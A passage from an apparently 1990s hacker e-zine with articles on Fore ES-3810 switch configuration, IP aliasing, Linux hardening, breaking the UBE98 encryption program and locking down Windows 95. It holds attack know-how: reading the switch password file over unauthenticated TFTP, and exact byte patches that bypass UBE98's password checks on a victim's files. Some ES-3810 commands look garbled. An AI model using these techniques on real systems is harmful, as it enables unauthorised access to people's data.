  745.    |_____________________________________|______________________________________| 
  746.    |                                     |                                      | 
  747.    |  Sniff Segment:          Disabled   | Transmit Sniffed Packets:    Disabled| 
  748.    |  Blocking:               Disabled   | Transmit Blocked Packets:    Disabled| 
  749.    |  Receive Errors:         Disabled   | Transmit Flagged Packets:    Disabled| 
  750.    |  Multicast Promiscuous:  Disabled   | Multicast Hash Upload:       Disabled|               
  751.    |  Individual Promiscuous: Disabled   |                                      | 
  752.    |_____________________________________|______________________________________| 
  753.    |lou%: ef cfg; do 6fde8000                                                   | 
  754.     
  755.  
  756. [VLAN Assignments 
  757. ------------------------* 
  758.  
  759. VLANs are OSI Layer 2 [data link] multicast domains.  VLAN membership is  
  760. not necessarily tied to a physical proximity.  The ES-3810 supports three 
  761. criteria: MAC address based assignment to a VLAN, IP Multicast Group based 
  762. assignment, and port base assignment. 
  763.  
  764. [MAC Address based and Port based VLANs 
  765. ---------------------------------------* 
  766.  
  767. MAC address based VLAN assignments supersedes port based VLAN assignment.  
  768. By adding an ATM module you can extend any VLAN into ATM by assigning a LEC 
  769. (Lan Emulation Client) instance to the VLAN.  A VLAN extended into ATM must 
  770. be named with the same NAME and CASE as the ELAN for example, an ELAN called 
  771. "Lab" exists and you want the station on ES-3810 port 16 to join it.  On the  
  772. #s-3810 you must create a VLAN called "Lab" (case sensitive) and assign port  
  773. 16 to it.  when asked to "configure a LEC" say yes.  The ES-3810 will join  
  774. (in proxy) the ELAN called "Lab" and allows the station port 16 communication  
  775. rights. 
  776.  
  777.  
  778. [IGMP Based VLANs 
  779. ---------------------------------------* 
  780. Some TCP/IP applications use IP multicasts to deliver data to many stations 
  781. at once.  How ever multicasting can cause problems because stations that 
  782. are not interested in receiving multicast data to see it anyway. This 
  783. causes Ethernet segment congestion and unnecessary interrupts on
  784. workstations.    Filtering these multicasts via IGMP can reduce 
  785. congestion and keep the network moving smoothly. 
  786.  
  787. IGMP is designed to add further granularity within a VLAN. If a station 
  788. from two separate VLANS join the same IP multicast group; the IP multicast
  789. stream has to be   sourced twice.  The IP client of the ES-3810 is 
  790. reachable from the first configured  VLAN, independent of that VLANs name.
  791. Since, by default the first VLAN is called "default"   
  792.  
  793. [Routerless Network 
  794. ------------------------* 
  795.  
  796. A routerless network is one in which the ES-3810 switches Ethernet 
  797. attached host to ATM  where high speed servers are found. Typically one or
  798. several of the following apply
  799.    
  800. * Network has no VLAN-to-VLAN traffic requirement 
  801. * Primary NOS is client/server based 
  802. * Security is a MAJOR concern (trust me on this one) 
  803. * Servers are on ATM for maximum performance 
  804.  
  805. Any network matching one or more of the above scenarios would benefit from 
  806. a routerless network because clients from different VLANs can access the 
  807. same server but not other VLANs 
  808.  
  809. [Centralized Routing Network 
  810. ----------------------------* 
  811.  
  812. A centralized routing network is one in which the ES-3810 switches Ethernet 
  813. attached host to ATM where high-speed servers and router interfaces are found. 
  814. Typically the ES-3810 can be utilized in a network that meets one or more of  
  815. the following criteria 
  816.  
  817.  
  818. * Maintenance of relatively flat network 
  819. * Some VLAN to VLAN connectivity 
  820. * Some VLAN to VLAN packet level filtering/firewalling 
  821. * Traffic is 80% local and 20% routed 
  822. * Network could collapse into fewer subnets by switching to ATM 
  823.  
  824.  
  825. [Exploiting TFTP/ES-3810 
  826. ------------------------* 
  827.  
  828. Issuing the command line rs  :/cd usr do _filter area_ off will disable 
  829. POST recognition by other users.  Another thing that can be done is 
  830. gaining remote access this can only happen if TFTP is binded to the system,
  831. and on the same subnet as the ES-3810 system.(which it should be by 
  832. default if utilized). Since there is no password authentication you can 
  833. use tftp to access the systems password file. Although you have read 
  834. access to the password file other flags, and restricted privileges keep 
  835. you from deleting any critical data. Logs maybe? =] ..More will be written 
  836. on ES-3810 security  features/insecurities when time permits.   
  837.  
  838. To fix this disable TFTP by issuing the following command 
  839.  
  840. lou% tftp dgram udp wait user /etc/tftpd tftpd -n  
  841.  
  842. Sources Cited: 
  843.  
  844. Fore Systems 
  845.  
  846.  
  847.  
  848. -optiklenz <optik@legions.org> 
  849.  
  850.                        -D A T A   D E S I R E S  T O  B E  F R E E- 
  851.  
  852. -----BEGIN PGP PUBLIC KEY BLOCK----- 
  853. mQGiBDR6E3wRBADHm2aiODOCowgDqXdcFvooCTrQe6tDPqznXChCO1p0t12hhQZe 
  854. 0C+/xBorkJXlqOaDadmUQVZP3Kij97SOTWU1AS1SPSTzF6VAylHalGz9iUHjxa7g 
  855. SSAVrLUMngWG7hxnz7lBHFIQ8iQPjWvK5qhEQ9vcBF9ped9StPRsZlljIwCg/02Z 
  856. XXrVaJUtWAxUaAARUdPt0FsEAKyhGuQA1HgGWM/GQxpvBvmDqHkNGxM9YyrF1Dg1 
  857. PWAoNuG8GdJazj18c2AODp68NwPH0dUYTxKc4ejR//OcOfl1HRfE0thJEDpqkSyQ 
  858. 2iobKGkYdmug666pe0Xr3wkgBE+rnzC3RLlUdnRAu25MuEqlc6yRWAT0YH/Pl9IB 
  859. eDRGA/4uAuFiEiyfd3Djhi7Wwh8/qiG7SChW0arEXq3RqHQqd3EaVR1FgNzCtvxg 
  860. kK2mY07XeSX2fjlWo4ynrBdl5QXbOn9X+GzDcw1z9FBVQHaY0EJMoE0fb53bTyCG 
  861. 0bdCMTid1DUKhJeekW6cPZvRQlu5IjH/+FVT9S38UsAMMwwrCrQlU3RldmUgU3Rh 
  862. a3RvbiA8b3B0aWtsZW56QGxlZ2lvbnMub3JnPokASwQQEQIACwUCNHoTfAQLAwEC 
  863. AAoJEGgSVovfJxzQFfcAn0WybtLnFw9jf9agk7xUaikjEjLkAKCYfA1rx/SXP5Je 
  864. v5R0+ZVMqIGiibkCDQQ0ehN8EAgA9kJXtwh/CBdyorrWqULzBej5UxE5T7bxbrlL 
  865. OCDaAadWoxTpj0BV89AHxstDqZSt90xkhkn4DIO9ZekX1KHTUPj1WV/cdlJPPT2N 
  866. 286Z4VeSWc39uK50T8X8dryDxUcwYc58yWb/Ffm7/ZFexwGq01uejaClcjrUGvC/ 
  867. RgBYK+X0iP1YTknbzSC0neSRBzZrM2w4DUUdD3yIsxx8Wy2O9vPJI8BD8KVbGI2O 
  868. u1WMuF040zT9fBdXQ6MdGGzeMyEstSr/POGxKUAYEY18hKcKctaGxAMZyAcpesqV 
  869. DNmWn6vQClCbAkbTCD1mpF1Bn5x8vYlLIhkmuquiXsNV6TILOwACAgf+OCRz2nG+ 
  870. SSCrgZY2nIGz68SO+2h3weFMzdBSWQDjZ5Fa7GjRBPeTRQvectPvSqcwjeZTq8DE 
  871. 1AVI/oFw1mChgfV7CgQuC+P0OK+jr6tIwyhM6gdo5NEdD7/uLWJfFi2l/AP4skVv 
  872. ydmg1KGlxjvtjOFKhOGoV2vSTPRGn1l1lCzBZPRur0xTtNwk5b54o8g/NlMEsO/p 
  873. /P6CRP4J1WlDkH66jST+ygAYNN0AtRy0eEPUxu7+dYC4OgT0xCcglCqKf7hnMGrf 
  874. s/I2MHBbhSmdtcW5pLYcEb8iwXEitGN+plAy+OZrygJ4ytFAdnL2r9NmegUPTYz0 
  875. 3t4M3hiITUmiP4kAPwMFGDR6E3xoElaL3ycc0BECKBQAoKqOQNZ82RmU4rsZRM9l 
  876. a6QdQeSVAJ469y3cLO1eU5oMYpLdvSGevh0mSg== 
  877. =cpan 
  878. -----END PGP PUBLIC KEY BLOCK----- 
  879.  
  880. EOF@
  881.  
  882. ---------------------------------------------------------------------------
  883. [IP Aliasing]                                                        [m0f0]
  884. ---------------------------------------------------------------------------
  885.  
  886. In a LAN environment, clients and servers are connected to the network by 
  887. one or more network controller cards. Each controller has a factory-set 
  888. (hard-coded) primary physical address called the MAC address. The MAC 
  889. address is also known as the primary unicast address. For an Ethernet
  890. controller, the MAC address is a string of hex bytes that looks, for  
  891. example, like this:
  892.  
  893.     08:0a:10:bc:7f:5d
  894.  
  895. In addition to its own name, the controller can recognize up to 16 alias 
  896. names placed in the its driver's multicast address list. The controller
  897. accepts any packet sent to its primary unicast address and any packets 
  898. sent to an address in its multicast list.
  899.  
  900. The IP address is a unique name given to a controller to identify it on 
  901. the network. The IP address is a broken numeric string that looks similar 
  902. to:
  903.  
  904.     129.226.55.33
  905.  
  906. Traditional internet protocol (IP) allows each controller on a network to 
  907. have one IP address, which is mapped to the MAC address to establish its 
  908. network identity. IP aliasing allows each controller to have a secondary 
  909. IP address (an alias) supporting up to 16 unique virtual addresses, so 
  910. that a network administrator can greatly expand the effective size of the 
  911. network without installing additional hardware. The virtual addresses are 
  912. mapped to the multicast list of the physical controller.
  913.  
  914. The utilities ipalias and macconfig are used to create multiple virtual 
  915. interfaces on a single physical network interface. Although the primary 
  916. interface is brought on line with ifconfig, the IP layer treats the 
  917. primary and secondary addresses as equals with identical responses ping, 
  918. ftp, telnet, rcp, rlogin, and so forth.
  919.  
  920. Aliasing the MAC Address
  921.  
  922. The macconfig utility is used to add a multicast address to the list of 
  923. multicast addresses on system X. This task involves the conversion of a 
  924. unicast address to a new form, the multicast address. An understanding of 
  925. 48-bit Universal LAN MAC address structure makes this task easier.
  926.  
  927. 48-bit Universal LAN MAC Address
  928.  
  929. The concept of universal addressing is based on the requirement that all 
  930. members of a network have a unique identifier. Otherwise they cannot 
  931. coexist. The advantage of a universal address is that a node with such an 
  932. address can be attached to any LAN in the world with an assurance that its 
  933. address is unique.
  934.  
  935. The 48-bit Universal Address consists of two parts:
  936.  
  937. 1. The first 24 bits correspond to the Organizationally Unique Identifier 
  938. (OUI) as assigned by the IEEE, except that the assignee may set a control 
  939. bit for group addresses (multicast addresses) or for individual addresses 
  940. (unicast addresses).2. The second part, comprising the remaining 24 bits, 
  941. is administered locally by the assignee. In the following 48 bit LAN MAC 
  942. address, the Organizationally Unique Identifier is contained in octets 0, 
  943. 1, 2 and the remaining octets 3, 4 and 5 are assigned locally.
  944.  
  945. Octet    0        1        1        3        4        5
  946. Binary    0011    0101    0111    1011    0001    0010    0000    0000    0000    0000    0000    0001
  947. Hex    C    A    E    D    8    4    0    0    0    0    0    8
  948.  
  949. The least significant bit or first bit octet 0 is the I/G address bit used 
  950. to identify the destination address, either as an individual/unicast 
  951. address (0) or as a group/multicast address (1) that identifies one, 
  952. several, or all stations connected to the LAN. The all-station broadcast 
  953. address is a special predefined group address off all 1's.
  954.  
  955. The second bit of octet 0 is the Universally or Locally Administered (U/L) 
  956. bit. This bit indicates whether the address has been assigned by a local or 
  957. universal administrator. Universally administered addresses have this bit 
  958. set to 0 and they are globally/universally unique. This is the normal 
  959. case. If this bit is set to 1, the entire address (all 48 bits) has been 
  960. locally administered and may not be globally unique. Thus, for example, 
  961. bytes 0,1 and 2 would be unique for SynnerGy Networks, and 
  962. SynnerGy Networks can then assign the last 24 bits for each network 
  963. interface controller it manufactures, thereby allowing approximately 16 
  964. million individual addresses and 16 million unique group addresses that 
  965. no other organization can have (universally unique).
  966.  
  967. Converting a Unicast Address to a Multicast Address
  968.  
  969. For a given 48-bit Universal LAN MAC address, the first 24 bits 
  970. correspond to OUI. The least significant bit (the first bit or I/G bit) 
  971. of the OUI is the only bit that can be changed to make this address a 
  972. multicast address. We cannot change any other bit without either 
  973. compromising uniqueness of the address or violating some IEEE addressing 
  974. standards.
  975.  
  976. The U/L bit for a universally unique address is always 0. This leaves the 
  977. following four possibilities in the least significant nibble (4 bits) of 
  978. a valid universally unique unicast/individual address:
  979.  
  980. 0x0(0000)
  981. 0x4(0100)
  982. 0x8(1000)
  983. 0xC(1100)
  984.  
  985. where 0x indicates a hexadecimal digit.
  986.  
  987. Given the fact that we can only change one bit (the I/G bit) to convert 
  988. the unicast address to a multicast address, we have the following 
  989. transformations:
  990.  
  991. 0x0(0000) ? 0x1(0001)
  992. 0x4(0100) ? 0x5(0101)
  993. 0x8(1000) ? 0x9(1001)
  994. 0xC(1100) ? 0xD(1101)
  995.  
  996. Thus, for a given unicast address, 08:00:0b:06:1d:50, for example, 
  997. the multicast form is 
  998. 09:00:0b:06:1d:50.
  999.  
  1000.  
  1001. Address Resolution Protocol
  1002.  
  1003. The IP addresses must be mapped to MAC addresses before a client can 
  1004. successfully send a packet to a server or peer on the network. In TCP/IP, 
  1005. the Address Resolution Protocol (ARP) is used to seek and map the address 
  1006. information. The client sends an ARP broadcast query that says, in effect,
  1007. "Here is a destination IP address. Send me your MAC address." This query 
  1008. is seen by all the controllers on the network, and the owner of the IP 
  1009. address replies with its MAC address. The client stores the IP/MAC address
  1010. map entry in a small  table called the ARP cache. This information can be
  1011. published by ARP.
  1012.  
  1013. Aliasing the IP address - An Example
  1014.  
  1015. Initially, the network controller is brought online and given a primary IP 
  1016. address using ifconfig. Now we use ipalias to create up to 16 additional 
  1017. network identities on the secondary IP address and will honor all 
  1018. communication sent to its IP Aliases.
  1019.  
  1020. Steps to bring a virtual network interface up on a system are:
  1021.  
  1022. 1. Add the alias IP address to the interface using the following command 
  1023.    sequence:
  1024.  
  1025. $ ipalias -a 129.226.55.33 et5961
  1026.  
  1027. where (as an example) 129.226.55.33 is the alias IP address and et5961 is 
  1028. the controller name.
  1029.  
  1030. 2. Add the multicast address to the interface
  1031.  
  1032. $ macconfig -m 129.226.55.33 9:6:a:b:3:e et5961
  1033.  
  1034. where 9:6:a:b:3:e is the example MAC address and et5961 is the controller 
  1035. name.
  1036.  
  1037. 3. Invoke ARP to publish the mapping.
  1038.  
  1039. $ arp -s 129.226.55.33 9:6:a:b:3:e pub
  1040.  
  1041. 4. Check the mapping published by ARP, which should appear as shown on 
  1042. the seconds line of this example.
  1043.  
  1044. $ arp -a
  1045. (129.226.55.33) at 9:6:a:b:3:e permanent published
  1046.  
  1047. >From this point onward any system on the network can access this aliased 
  1048. IP address (129.226.55.33) using ping, telnet, ftp, rlogin, rcp, rsh, and 
  1049. so forth.
  1050.  
  1051. m0f0
  1052.  
  1053. ---------------------------------------------------------------------------
  1054. [Yet Another Newbies Guide to Linux Security]               [Digital Ebola]
  1055. ---------------------------------------------------------------------------
  1056.  
  1057. Another one bites the dust today. Young grasshopper gets burned by a 
  1058. mad cracker wishing to gain yet another root prompt. In this article, 
  1059. I will go into the "minimal/BOFH" approach to Linux system security. 
  1060. I will not go into great detail over services or packages. This guide 
  1061. is to be taken as guidelines and not exact instructions. If you are 
  1062. not familiar with BOFH tactics, go read some BOFH stories, they are 
  1063. funny as hell.
  1064.  
  1065. Good Linux security starts from the install. Period. You should 
  1066. choose your distribution well, or be prepared to either be owned 
  1067. quickly, or learn your system quickly. Depending on your distro, you 
  1068. will have a choice on packages, and modules. Read on these. The very 
  1069. first thing you should do, is acquaint yourself with each and every 
  1070. package, and its particular bugs, or holes. When you build your box, 
  1071. you should know your exact purpose for it and build it accordingly. 
  1072. If you are building it strictly for firewall purposes, then there is 
  1073. no reason to run XFree86. If you already have a print server on your 
  1074. network, then theres no reason why you should install printer 
  1075. services. This approach not only works well, but lets the system grow 
  1076. as you do, and starting off small, means that when you do add extras,
  1077.  they will be installed properly, without risk, because you know 
  1078. exactly what you are installing. 
  1079.  
  1080. Minimal packages mean less maintainence. Although its nice to have
  1081. everything on one system, its not good from a security aspect. As
  1082. well as being minimalistic on the packages, be the same way on 
  1083. services. Do not elect to run services you are never going to use. 
  1084. Most dialup connections have no business running BIND, or POP3. Keep 
  1085. the services down to a minimal, as the less services you have, the 
  1086. less doors a intruder has to your system. If you are running a network 
  1087. on ISDN or multiplexed line, it would be highly advisable to divide 
  1088. those kinds of services to different machines. POP3 and BIND both are 
  1089. notorious for security holes, and just because you don't see exploit 
  1090. code on rootshell, does not mean exploit code does not exist. 
  1091.  
  1092. When it comes to dealing with the packages you have, it can be a 
  1093. tricky thing. You have set down, and set a purpose for your machine,
  1094. researched the packages, and killed all unnessacary services. Whats 
  1095. left, are the things that are needed. How do you protect whats there? 
  1096. Permissions. You MUST check every SUID root binary. Some things in the 
  1097. distro have no business being SUID root, although the person who coded 
  1098. it seemed to think it was a good idea. Works for him, but could be 
  1099. fatal for you. To check to see what is SUID on the system do this:
  1100.  
  1101. linux$ find / -perm -4000 -print
  1102.  
  1103. This string will list ALL the SUID binaries on the system. You need to
  1104. run each one as a USER and see what happens. A lot of them will be 
  1105. protected, some however, will not. You have to analyse the use of the 
  1106. binary, and decide whether or not the binary needs to be SUID root. 
  1107. Or decide whether or not your user needs to run it. This is the BOFH 
  1108. approach in a way. Why would a remote user need PING? They really 
  1109. dont, and PING itself is SUID root by default under most Linux 
  1110. distrobutions. Does the user need compiling functions? If, most of 
  1111. your users are not coding, then you should create a group for coding, 
  1112. and put only trusted people in it. This is very much BOFH. This also 
  1113. eliminates "script kiddies" or makes their life tougher, and protects 
  1114. certain linked libs. Tailor the box, for the general kind of users on 
  1115. the system.
  1116.  
  1117. Countermeasures improve security. One such package is Abacus Sentry. 
  1118. This binary listens on TCP/UDP ports, and tries to detect port scans. 
  1119. Upon port scans, it will put the offending host on deny and attempt 
  1120. to cut its route. This is very evil, very effective and will make 
  1121. /etc/hosts.deny grow to huge proportions. There is a flaw with it. 
  1122. A enterprising person, could fake the scan to make it look like it 
  1123. came from your router, thus denying yourself, and cutting your route. 
  1124.  Enough said. Sometimes there is a price for good security, again, as 
  1125. I have said before, you have to build for your needs. Another 
  1126. countermeasure tool, is Tripwire. Tripwire will watch certain files 
  1127. for modifications, such as /root/.bash_profile or whatever else you 
  1128. may configure it for. Upon modification, it will mail root. 
  1129.  
  1130. Watching the network your system on is vital if you are in a LAN 
  1131. enviroment. Bins such as Sniffit, Netwatch and even good ole Netstat 
  1132. are important if you are to maintain security, both on the inside and 
  1133. out. Of course, in this article, we are only hitting the basics of 
  1134. Linux security, but think about this. All the security in the world 
  1135. is no good, if the people you are connected to are not secure 
  1136. themselves. Do not be afraid to not only question yourself, 
  1137. your users, but your provider as well. You must watch your subnet, 
  1138. manage your users, and keep everything in working order. 
  1139. Your provider should do the same. Although, its debatable whether 
  1140. they can legally snoop your sessions, you, the newbie with the linux
  1141.  box, can. Do not be afraid to cat .bash_history, or grep logs. Or 
  1142. even ttysnoop for that matter. If you have a questionable user, you 
  1143. need to know what is going on. As a rule, users never give straight 
  1144. answers, it would be the same as if you were questioned by your 
  1145. provider. 
  1146.  
  1147. For the newbie, learning can be frustrating and time consuming. 
  1148. Whether you are learning for yourself, or your business, nobody likes 
  1149. to be owned. In this day and age, information can not only make you 
  1150. prosper, but what you don't know can kill you. Or in this case, your 
  1151. systems. Do not be afraid to experiment with new tactics or new ideas.
  1152.  Do not choke your users, you CAN be too secure. It all comes down to 
  1153. your needs and the needs of your users. Use common sense, and read 
  1154. everything. And then, you too, may be wise in the ways of Linux 
  1155. security. :)
  1156.  
  1157. Digital Ebola aka DigiEbola
  1158. http://wintermute.unixgeeks.com
  1159. digi@wintermute.unixgeeks.com
  1160.  
  1161. ---------------------------------------------------------------------------
  1162. [UBE98 -- Unbreakable Encryption]                             [Joe Peschel] 
  1163. --------------------------------------------------------------------------- 
  1164.  
  1165. UBE98 is an encryption program by CIPHERTech at: 
  1166. CIPHERTech 
  1167.  
  1168. The site is in England so the chap who designed the program isn't 
  1169. encumbered by the United States' EAR (Export Administration Regulations). 
  1170.  
  1171.                              Introduction 
  1172.  
  1173. The UBE98 author describes the program: 
  1174.  
  1175. 255 Byte RC4 Algorithm - The strongest encryption algorithm in the world! 
  1176. Automatic Encryption - Self extracting Encrypted file creation - QuickView
  1177. encrypted pictures - Win98 style caption bars and menus - Seamless windows   
  1178. 95/98/NT integration - Transparent use - UBE 98 has to be the choice for
  1179. you.  Download it now for free!   
  1180.  
  1181. There was also a review in the British press entitled "The 30 billion 
  1182. year encryption problem" at:  BBC Article 
  1183.  
  1184. You might notice that the BBC refers to a 2,048-bit key while the author 
  1185. says the key is 2,040 bits. The time needed to brute-force such a key, of 
  1186. course, is wrong, too. There are other errors in the report, too, that 
  1187. I'll let you enjoy (or cringe at) at your leisure. UBE98's problems are 
  1188. bigger than just a reporting error over the real size of the key, and the
  1189. time it would take to brute-force  the key. The British government likely
  1190. isn't worried about having to crack UBE98 if it needs to. In  this paper, 
  1191. I'll describe three ways to break UBE98.   
  1192.                    
  1193. The Known-Plaintext Attack 
  1194.  
  1195. I was first reminded of UBE98 in sci.crypt when I saw a mention of the 
  1196. program's file wiping capability. Later, I noticed Mike Stay commenting in 
  1197. coderpunks on UBE98's encryption capability. Some experts responded to the 
  1198. initial mention of UBE98's large RC4 key as quite possible, and asked why 
  1199. they thought the original poster considered the program snake-oil. I am 
  1200. sure had those experts looked at the program they would have determined
  1201. quickly the  worthlessness of UBE98 as an encryption program. 
  1202.  
  1203. Stay soon described his attack in coderpunks: 
  1204.  
  1205. I downloaded the thing. It asks for a bunch of information (like e-mail 
  1206. address, name, address, 25 random keystrokes). I wrote Peter about how he 
  1207. created the key and he says it's MD5 and SHA plus some "random bytes from 
  1208. various places in the computer." The key is stored somewhere and
  1209. protected with a password. It's always the same key. I encrypted a file
  1210. of zeros and another file, XORed the two and got the original. A known
  1211. plaintext attack will break every file you ever encrypt with this (because 
  1212. it only generates one key, ever.) I might add that you can also save the 
  1213. key (255 bytes) to a floppy disk, which in itself may pose a security risk.
  1214. Also, even though the created key is always the same on each installation, 
  1215. the key is different on different systems. I mentioned Stay's analysis in
  1216. sci.crypt hoping to steer folks away  from a poor encryption product. In
  1217. response a fellow called Melih suggested that a cracker could  find other 
  1218. ways to attack UBE98. So I set about finding a couple more attacks on 
  1219. this dubious symmetric cipher. 
  1220.  
  1221. Cracking a Dubious Symmetric Cipher By Disassembling the Program 
  1222.  
  1223. UBE98 does typical symmetric encryption and lets you create 
  1224. self-extracting encrypted executables. In order to access the content of 
  1225. either encryption you need to enter a password. Since, as Stay pointed 
  1226. out, the key is always the same, I theorized the program's check of the 
  1227. correct password might be subverted in a way less conventional than 
  1228. typical cryptanalytic attacks. 
  1229.  
  1230. Let's consider a typical encryption first. We'll assume that we have 
  1231. access to the victim's machine. We are going to try Stay's attack on 
  1232. UBE98, but we'll bring with us a few of floppy disks for copying *.ube 
  1233. files. One of our disks will be home to a file (500k or so) of 00s of 
  1234. known-plaintext and a hex editor such as HIEW. First, we'll copy all of 
  1235. the encrypted .ube files to floppy disk. Next, we'll need to encrypt our 
  1236. known-plaintext (the 00 file) with the victim's key. We'll assume that he 
  1237. hasn't left the password in memory, even though UBE98 has that capability.  
  1238.  
  1239. So we'll need to bypass the password. Naturally, we have figured out a 
  1240. way to bypass it. 
  1241.  
  1242. A file called hook32.exe is the program's executable. Upon previously 
  1243. disassembling the .exe we found an interesting JE instruction in the code 
  1244. prior to the error message string: "You have entered an incorrect password." 
  1245.  
  1246.  :0044A026 
  1247.            7458  
  1248.                 je  
  1249.                    0044A080  
  1250.  
  1251. In our hex editor, we change the JE instruction to JNE by changing 74 to 
  1252. 75 at offset 00049426h and run UBE98 with our slightly modified 
  1253. executable. The result: UBE98 accepts an incorrect 
  1254. password or no password at all and decrypts any encrypted file.  
  1255.  
  1256. Armed with that knowledge, we attack the victim's UBE98 installation and 
  1257. either hex edit the UBE98 executable or run a patch to change the 
  1258. instruction. Now we can either XOR at our leisure on our own system, or 
  1259. decrypt while at the victim's system.  
  1260.  
  1261. Cracking Self-Extracting Encrypted Files 
  1262.  
  1263. Self-extracting encrypted files are intended to provide a way to send 
  1264. encrypted email. It's not a bad idea, but normally you still need to find 
  1265. a way to securely transmit the key. Finding a secure way to transmit the 
  1266. key, unfortunately, in UBE98's case makes little difference since a 
  1267. self-extracting encrypted file can be cracked in the same way as 
  1268. hook32.exe.  
  1269.  
  1270. We can assume either we have access to the sender's machine or that we 
  1271. have the capability of intercepting the sender's and recipient's email. 
  1272. In either case, we are in possession of encryptedfile.exe. We guess that 
  1273. the password is likely checked as it is in hook32.exe and look 
  1274. for a JE instruction in the disassembly.  
  1275.  
  1276. In the disassembly, we find the string "You have not entered the password 
  1277. with which this file was encrypted. Please try again." 
  1278.  
  1279. We find this instruction prior to the error message string: 
  1280.  
  1281.  :0042D13E 
  1282.            0F84A0000000  
  1283.                          je  
  1284.                             0042D1E4  
  1285.  
  1286. In our hex editor we change JE to JNE (84 to 85). When we execute the 
  1287. self-extracting encrypted file we find that, like hook32.exe, an 
  1288. incorrect password or no password at all decrypts the file. 
  1289.  
  1290. UBE98 is even worse than I thought.
  1291.  
  1292. ---------------------------------------------------------------------------
  1293. [Windows 95 Protection]                                            [NtWak0]
  1294. ---------------------------------------------------------------------------
  1295.  
  1296. GREATS TO U ALL MY BROTHERS/SISTERS FROM "NtWaK0"
  1297.  
  1298. To me a hacker isn't just someone doing "illegal" things like cracking 
  1299. other people's passwords or breaking into some computer to steal
  1300. information's. I think a hacker is everybody interested in experimenting 
  1301. with computers or the telephone network.
  1302.  
  1303. Quote:---------------------------------------------------------------------
  1304. "Any Grandma can call herself a hacker when she's able to program her VCR"
  1305. ---------------------------------------------------------------------------
  1306.  
  1307. This document is for educational use only and it is very helpful for 
  1308. schoolteacher n student....I am not going to show you how to hack a 
  1309. windows Box but how to protect it and when you know How to protect your 
  1310. self and other that mean you can have fun with that box too? --:)
  1311.  
  1312. When you start using a school computer and whatever the purpose of the 
  1313. usage the PC configuration is constantly modified by the student or 
  1314. teacher. That will lead to a lot of security holes and system 
  1315. misconfiguration
  1316.  
  1317. It is necessary " to lock " the computers, so that the pupils cannot 
  1318. change the configurations nor to destroy files but to only work with
  1319. applications planned for them.
  1320.  
  1321. Only the supervisor can modify this configuration or install new 
  1322. software. The supervisor is not inevitably a single individual, but can 
  1323. be represented by two or three Qualified people. If it is the case, 
  1324. these people will have systematically to act in concert for the least
  1325. modification.  The supervisor must always be with the listening of the 
  1326. other teachers and take account of their remarks and proposals.  
  1327.   
  1328. >From now on, with the Windows 95 launching, this dialogue box appears :
  1329.  
  1330. The supervisor can type his name: sup and its password. This word must 
  1331. known by a minimum of people and never be typed in front of a pupil who 
  1332. could recognize the keys typed on the keyboard (although it appears in 
  1333. the form *******). In the same way, this word should not form part of the
  1334. vocabulary of our pupils, because they could extremely well find it while
  1335. grouping. Its length will be of at least 5 letters. 
  1336.  
  1337. Fault of knowing the password, the children click on cancel or press on 
  1338. the key [ Esc ]. If they would type an unspecified name and a password of
  1339. their invention (one can trust them,  they will not deprive oneself any) 
  1340. the computer will accept them, but they will be found in  any event with 
  1341. the same configuration as the others and as they will not be able to 
  1342. modify this configuration by default.  
  1343.  
  1344. How to carry out the protection of a computer ? How Does Windows Use 
  1345. System Policies? 
  1346.  
  1347. When the user logs on, Windows checks the user's configuration 
  1348. information for the location of the policy file. Windows then downloads 
  1349. the policies and copies the information in the registry using the 
  1350. following process. 
  1351.  
  1352. First if user profiles are enabled Windows checks for a user policy 
  1353. section that matches the user name and applies the user specific policy. 
  1354. If Windows does not find a user policy section, it applies the Default 
  1355. User policies. If support for group policies is installed, Windows 
  1356. downloads group policies, starting with the lowest priority group and 
  1357. ending with the highest priority group. 
  1358.  
  1359. Group policies are processed for all groups to which the user belongs.
  1360. Group policies are not applied if there are user policies defined for the 
  1361. user. These settings are copied into the USER.DAT portion of the registry. 
  1362.  
  1363. Second Windows applies computer specific policies to the desktop 
  1364. environment. If a policy section for that computer name does not exist
  1365. Windows applies the Default Computer policies. These settings are copied 
  1366. into the SYSTEM.DAT portion of the registry. 
  1367.  
  1368. By default Windows automatically attempts to download computer and user 
  1369. policies from the file Config.pol in the Netlogon folder on a Windows NT
  1370. server or the Public folder on a NetWare  server. This default location 
  1371. can be overridden in a policy file setting. If no server is present 
  1372. Windows uses the settings currently on the client computer.
  1373.  
  1374.  
  1375. The System Policy Editor?
  1376.  
  1377. When you run System Policy Editor Windows 95 opens the default policy 
  1378. template, which contains existing policies that you can enable or modify. 
  1379. A template is a listing of the possible policies that an administrator 
  1380. can set. 
  1381.  
  1382. The Office Resource Kit Tools and Utilities CD-ROM include the latest 
  1383. version of the System Policy Editor.This is the same version that is 
  1384. included with Windows NT Workstation 4.0 and  you can use it with both
  1385. Windows 95 and Windows NT Workstation 4.0. Using the System Policy  
  1386. Editor, you can set user policies for all users, for a particular network
  1387. group, or for a  single user. User policies are system policies that 
  1388. represent application options relevant to the user currently logged on to
  1389. Windows and they are stored in the HKEY_USERS portion of the user's 
  1390. Windows registry
  1391.  
  1392.  
  1393. Activation of the system of the passwords:
  1394. To launch Windows 95. Click on Start>Parameters>Control panel>Passwords. 
  1395. In: " User profiles ", check the following options: 
  1396. CHECK User can customize their preferences blah blah blah
  1397. CHECK Include desktop Icons and Network blah blah blah
  1398. CHECK Include start menu and program blah blah blah
  1399. Click Ok, and agree to start again the computer
  1400.  
  1401.  
  1402. With the exit of the Windows 95 restarting, you will see a dialogue asking 
  1403. you your name And your password will appear.When the dialogue box 
  1404. requiring name and password appears again, press on the key [Esc].By doing 
  1405. this, we will launches the configuration by default, which will become 
  1406. the configuration for the pupils. 
  1407.  
  1408. At this point all what you have to do is to delete the shortcut and the 
  1409. unwanted application from the start menu, and from the desktop. Next step 
  1410. is to use poledit and change all the  options that you want restrict.
  1411.  
  1412. ---------------------------------------------------------------------------
  1413. Caution!!! Poledit will modify the Base of register per default 
  1414. (C:\Windows\User.dat). It is an operation, which can be dangerous if we 
  1415. don't know what we are doing. It is thus advisable to back up the 
  1416. User.dat file on diskette before starting
  1417. ---------------------------------------------------------------------------
  1418.  
  1419.  
  1420. At the end of the modification, click on Ok, then in the menu File, click 
  1421. on close. Lastly answer Yes when a dialogue box proposes to the 
  1422. modification. Certain options will take effect only after having started
  1423. again the computer. 
  1424.  
  1425. Therefore click on: Start>then Stop To start again the computer (remove the
  1426. diskette  temporarily).
  1427.  
  1428. Let us say we have a new user SO-AND-SO
  1429.  
  1430. 1 The file C:\Windows\SO-AND-SO.pwl keep the user password.
  1431. 2 The folder profil C:\Windows\Profiles\SO-AND-SO This file contains the 
